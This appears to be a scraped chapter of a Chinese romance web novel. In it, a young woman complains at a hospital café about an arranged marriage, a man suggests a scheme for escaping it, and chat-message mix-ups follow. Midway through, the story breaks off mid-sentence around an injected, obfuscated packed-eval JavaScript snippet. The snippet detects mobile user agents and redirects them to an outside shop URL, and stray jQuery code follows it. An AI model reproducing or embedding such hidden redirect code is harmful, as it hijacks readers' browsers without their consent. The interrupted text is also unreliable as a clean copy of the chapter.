文趣网 > 都市小说 > 你别娇气了 > 20. 他家有秃头基因?!
    chapter20

    五楼,一家装潢雅致的咖啡厅。

    空气里弥漫着现磨咖啡豆的醇厚香气和烘焙甜点的焦糖芬芳。两人选了靠窗的位置坐下,窗外是医院精心打理的中庭花园,绿意盎然。

    “你怎么来医院了?”应由惜捧着温热的拿铁,小心地抿了一口。

    他穿着一件质地柔软的浅灰色卫衣,难得的闲适。

    “复诊身上的伤。”

    “喔。”应由惜了然地点点头,没再多问。

    她有一下没一下地用搅拌勺轻轻敲击着杯壁,眉间发愁,整个人像株缺水蔫巴了的小花。

    言寂:“你这副样子,真该去负二层待着。”

    “嗯?”

    “太平间。”言寂表情认真得不像在开玩笑。

    应由惜:“……”

    她磨了磨后槽牙,骂她一副死人脸就不能委婉点吗?这人嘴毒的功力真是日益精进。

    应由惜很疑惑:“不都说混迹娱乐场的人都是高情商且能说会道,你这样的,真不怕惹到金主?”

    “所以,我还没出道,就被软封杀了。”

    “……”

    应由惜张了张嘴,想说点诸如“是金子总会发光”、“别气馁”之类的安慰话,但大脑在飞速运转后,蹦出来的第一个念头却是——罪有应得。

    连平常最会对碟下菜、见人说人话见鬼说鬼话的应由惜都一时语塞,安慰显得虚伪,附和又太残忍。最终,她选择了最安全的做法,沉默是金,低头猛喝咖啡。

    “时伶,你有没有觉得我们的人生,一直在被一股无形的力量推着往前走?不管你自己愿不愿意,想往哪边走。”来了,文艺女上线。

    应由惜糖勺敲打着咖啡杯壁,沉重地叹气:“我现在就处于这样的状况中,她们非逼迫我嫁给一个我不喜欢的男人,即便各种方法用遍了,一哭二闹三上吊,也无济于事……”

    时伶等她说完,才道:“所以你是因为有喜欢的人,才不愿意嫁给那个男人?”

    “……我把你当成好姐妹,就实话和你说了吧。”她一口气将剩余咖啡饮净,一抹嘴,“我只是觉得做为结婚对象来说的话,那个未婚夫绝对不是一个好的选择。”

    言寂挑了下眉梢,“怎么说。”

    “你想啊!”应由惜掰着手指头开始细数,“首先,他从小在国外长大,大学学的是商业管理,标准的理性资本家思维,跟我这种在国内土生土长、学艺术的人,能有共同语言吗?肯定鸡同鸭讲!”

    “其次,”她竖起第二根手指,“我追求的是自由刺激有趣的生活,他要是把我娶回去,指望我洗手作羹汤、相夫教子……那对不起,我狗屁不会!”

    她越说越觉得有理,竖起第三根手指:“而最最最最关键的一点是——”

    言寂配合地微微倾身,“是什么?”

    应由惜用手掌半遮住嘴型,一字一顿地开口:“我听说他家有秃头基因,绝对不能忍、受!”

    “?”

    应由惜很真诚地点了点头。

    “谁瞎造的……”言寂话说到一半,卡住了,忽然改口,“看来应小姐平常很关注养生学……以及遗传基因方面。”

    “可不,这段日子我天天跟着外婆打太极,还研究《黄帝内经》呢!”

    “这样想来,你们确实不合适。”

    “你也这样想对不对?”应由惜知音难觅地看着他,“根本就是两个世界的人,硬凑在一起,那是互相折磨!”

    言寂无所谓地开口:“那就计划一次逃婚好了。”

    “你以为我没?但我一只小吗喽,斗不过奸诈的商人。”

    言寂平静道:“一哭二闹三上吊的法子没用,还可以想想别的。”

    应由惜尝试问:“比如?”

    言寂向她招了招手,示意她再靠近些。应由惜不疑有他,立刻将耳朵凑了过去,准备聆听高人指点。

    期间,应由惜的脸色一会儿变得发黑又一会儿通红,最后变得发绿,跟霓虹灯球一样变化多彩。

    等言寂说完,缓缓靠回椅背,应由惜还保持着凑近的姿势,僵在那里,好半晌没动。

    过了片刻,她抬起头,很诡异地开口:“你这个办法……能行得通吗?”

    言寂耸耸肩,表情无辜又坦荡:“试试又不吃亏,反正……”他顿了顿,意有所指地补充,“也不会因此秃顶,你还怕什么?”

    一听,应由惜就哼了一声。

    不亏?

    怎么能不亏!!!

    这个计划一旦实施,她在江湖上的传说少说也被背后私议个十几年。

    倒……倒也不是下不来面子这个问题,而是她左想右想,这个计划处处透着“不靠谱”三个字。

    言寂补充道:“只是还需要一个打配合的女性。”

    “这个,”应由惜抬手,“完全不是问题,我有不少演员朋友。”

    下一秒,应由惜嘶一声,看向言寂的目光多出一丝审视和狐疑:“不过……你为什么要这么热心肠地帮我出主意?”

    无事献殷勤,非奸即盗!

    “总不会是因为我喜欢你。”他嘴角的笑容尤其坏。

    应由惜立刻扬起下巴,不甘示弱地回敬。

    “那最好,因为算命的说过,我的真命天子可不姓‘时’,你如果喜欢我,那注定是单相思了。”

    临分别时,应由惜硬是扯着人加上微信,美曰其名如果计谋得逞就请他吃饭,计划残败则继续拜师求教。

    似乎是被她千言万语道得有点烦,言寂最终还真妥协了。

    看着那个挺拔的背影消失在走廊转角,应由惜才点开手机,欣赏新鲜出炉的聊天框。

    男人的头像很简单,一张色调昏黄模糊的夕阳照片,像是刚下过一场小雨,处处泛着清冷孤寂。

    鬼使神差间,应由惜点开自己的头像。

    映入眼帘,便是一只后驾驶座冒头的柴犬,酷拽又可爱。照片前方的女孩只露出半张脸,一只眼睛笑得弯弯的,亮晶晶地对着镜头。

    时间还是在高中,所以那时候她还穿着规整的校服,留着厚厚的齐刘海,弯起眼睛对着镜头笑。

    原是某天放学坐上私家车时的随手一拍,一不小心从注册微信起,就一直长情地没换过头像了。

    那条柴犬在她大三时也自然而然年岁到了,包邮费打包去了汪星。

    透过窗户缝隙,一阵清凉的风刮到她的身上,应由惜深吸一口气,脑中不仅开始思考起方才时伶的出谋划策。

    这样……真的行吗?

    …

    …

    在医院里待了半天,和文殊阿姨一起品味了这里的营养餐,鲜香并茂,应由惜直接吃了两大盘。

    饭后,趁应书君在阳台回工作电话的空当里,应由惜挪到言文殊床沿边,甜甜地笑着。

    言文殊精神状况好了不少,也盯着她笑:“怎么了,珍珍?”

    应由惜竖起一根手指,“我想向您请教个问题。”

    “你说,阿姨一定知无不言。”

    “是关于言寂的……”

    言文殊意味深长地“哦”了一声,表明一切她都心知肚明:“问,你问。”

    她是不是误会了?

    应由惜眨巴眼,问道:“他本人没有大肚腩吧?”

    “哇塞!八块腹肌哦!”言文殊格外兴奋,朝她伸出一个“八”的手势。

    真的假的?她咋那么不信呢。

    不过母亲都对自己儿子有股莫名的滤镜存在,应由惜想想也该知道得不到什么真实有效的信

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934640|213707||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    息来。

    之后几天也没过安生日子,全在为那个可行方案做出努力。

    只是偶尔晚上躺床上时,应由惜会翻动手机,盯着与时伶的聊天框,虽然全是自己单方面的“骚扰”。

    不行,今天实在受不了了。

    晚上洗完澡之后趴在床上,两条腿一晃一悠,眼珠子也灵活一转。

    有了!

    手指在屏幕上疯狂啪嗒啪嗒敲字。

    -疯德堡在逃珍公主:【别躺平了!我给你介绍活来了!】

    -疯德堡在逃珍公主:【你不是说你惹了圈内某个大佬以至于没工作嘛,恰巧你惜姐有点手段,送你一份工作呀!】

    等了好大会儿仍旧没动静,应由惜干脆发去一个勾引的表情包。

    只是平常跟计仔珊斗图斗习惯了,收藏里全是两人P的各种丑照,划拉半天也找不着一个稍微合适点的表情包。

    再加上计仔珊的消息滴个不停,一条接一条不间断,赫然是遇见什么烦心事,正召唤她。

    应由惜随意扔给她一个表情包应付。

    又上百度保存了一张超萌猫咪的表情包,返回到与时伶的聊天页面,手指戳上表情包给人发过去,并编辑一条:【装高冷吸引我注意力是没有用的,男人。】

    OK!点击发送。

    稍停片刻,同时来了两则消息。

    珊仔珊仔:【?】

    一匹孤独的雪豹:【?】

    应由惜才要:“?”

    “两人商量好的吧。”

    一边嘀咕,一边重新划亮屏幕。

    应由惜率先点进与计仔珊的聊天框,惊奇地看见,本该是发给时伶的表情包与消息出现在了这里!

    反复眨眼比对之后,才确认自己没有看错,因为后缀那两个字“男人”,所以她才发出疑问。

    眼神出现片刻凝滞,应由惜急忙返回去。

    果不其然的,对计仔珊犯贱使的表情包发给了时伶……配字:死鬼,勾引谁呢?

    但重要的不是附带文字,而是,这是一张,应由惜的——照!片!!

    还是计仔珊的偷拍,当时应当是被什么气笑,整个人呈现一种邪魅一笑的表情与神态,下面的配文还是计仔珊加上的,平常也是两个人犯贱使。

    可是!现在!太他妈羞耻了!!!

    平常不见你回复信息,还以为你将我屏蔽了,我一错发你倒是闻味赶来了!狗吗是,应由惜很想发出这样的呐喊。

    时伶那头尚不知做出何种回应,先安抚下计仔珊。

    -疯德堡在逃珍公主:【我的意思是,别跟个男人是公公爸爸的,大女人不会那些拐弯抹角的,直接说事儿。】

    行,成功稳住这人。上方显示“正在输入中…”,估计是在编辑自己的千字小作文。

    应由惜没有语文老师的耐心与沉着,只知道自己胡乱抓把头发也没想出goodidea来敷衍时伶。

    硬着头皮敲字“哈哈这样糊的照片也不难看出我精致的容颜吧,请你看美女,别客气”,摁了发送,然后对方又没影了。

    应由惜成功要被气炸了!

    说这人不是故意的谁信?

    谁!信!!!

    一直等着计仔珊的小作文发来,结果这人打打删删改改,整两个小时过去了,也如同消失掉一般。

    一个两个都怎么回事儿?!

    -疯德堡在逃珍公主:【就是一泡屎憋这久也该拉出来了吧。】

    -珊仔珊仔:【靠,你还能再恶心点不?】

    应由惜毫不谦虚:【能啊。】

    应由惜:【你到底有事没事?快点启奏,朕要就寝了,想过来侍寝直说。】

    又挣扎五分钟,计仔珊发来个“晚安”,都快给应由惜整气笑了。